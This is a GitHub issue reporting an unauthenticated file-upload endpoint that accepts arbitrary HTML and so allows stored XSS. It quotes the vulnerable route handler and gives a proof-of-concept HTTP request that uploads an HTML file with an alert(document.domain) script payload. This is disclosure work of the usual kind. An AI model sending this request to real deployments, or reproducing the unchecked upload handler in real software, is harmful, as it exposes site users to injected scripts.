Skip to content

[BUG] Insecure File Upload #958

@NinjaGPT

Description

@NinjaGPT

Summary

The project's file upload functionality (/api/files/upload) in versions <=1.0.0 that allows uploading
arbitrary HTML files without any security processing, and this functionality can be accessed without
any authentication requirements. This allows attackers to upload malicious HTML containing XSS payloads
without requiring any account, resulting in a stored XSS vulnerability.

Details

  • apps\sim\app\api\files\upload\route.ts
import { writeFile } from 'fs/promises'
import { join } from 'path'
import { type NextRequest, NextResponse } from 'next/server'
import { v4 as uuidv4 } from 'uuid'
import { createLogger } from '@/lib/logs/console/logger'
import { isUsingCloudStorage, uploadFile } from '@/lib/uploads'
import { UPLOAD_DIR } from '@/lib/uploads/setup'
import '@/lib/uploads/setup.server'
import {
  createErrorResponse,
  createOptionsResponse,
  InvalidRequestError,
} from '@/app/api/files/utils'

export const dynamic = 'force-dynamic'

const logger = createLogger('FilesUploadAPI')

export async function POST(request: NextRequest) {
  try {
    const formData = await request.formData()

    // Check if multiple files are being uploaded or a single file
    const files = formData.getAll('file') as File[]

    if (!files || files.length === 0) {
      throw new InvalidRequestError('No files provided')
    }

    // Log storage mode
    const usingCloudStorage = isUsingCloudStorage()
    logger.info(`Using storage mode: ${usingCloudStorage ? 'Cloud' : 'Local'} for file upload`)

    const uploadResults = []

    // Process each file
    for (const file of files) {
      const originalName = file.name
      const bytes = await file.arrayBuffer()
      const buffer = Buffer.from(bytes)

      if (usingCloudStorage) {
        // Upload to cloud storage (S3 or Azure Blob)
        try {
          logger.info(`Uploading file to cloud storage: ${originalName}`)
          const result = await uploadFile(buffer, originalName, file.type, file.size)
          logger.info(`Successfully uploaded to cloud storage: ${result.key}`)
          uploadResults.push(result)
        } catch (error) {
          logger.error('Error uploading to cloud storage:', error)
          throw error
        }
      } else {
        // Upload to local file system in development
        const extension = originalName.split('.').pop() || ''
        const uniqueFilename = `${uuidv4()}.${extension}`
        const filePath = join(UPLOAD_DIR, uniqueFilename)

        logger.info(`Uploading file to local storage: ${filePath}`)
        await writeFile(filePath, buffer)
        logger.info(`Successfully wrote file to: ${filePath}`)

        uploadResults.push({
          path: `/api/files/serve/${uniqueFilename}`,
          name: originalName,
          size: file.size,
          type: file.type,
        })
      }
    }

    // Return all file information
    if (uploadResults.length === 1) {
      return NextResponse.json(uploadResults[0])
    }
    return NextResponse.json({ files: uploadResults })
  } catch (error) {
    logger.error('Error in file upload:', error)
    return createErrorResponse(error instanceof Error ? error : new Error('File upload failed'))
  }
}

// Handle preflight requests
export async function OPTIONS() {
  return createOptionsResponse()
}

POC

POST /api/files/upload HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: */*
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/
Origin: http://localhost:3000
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 212

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<script>window['alert'](document['domain'])</script>
------WebKitFormBoundaryABC123--
image image

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions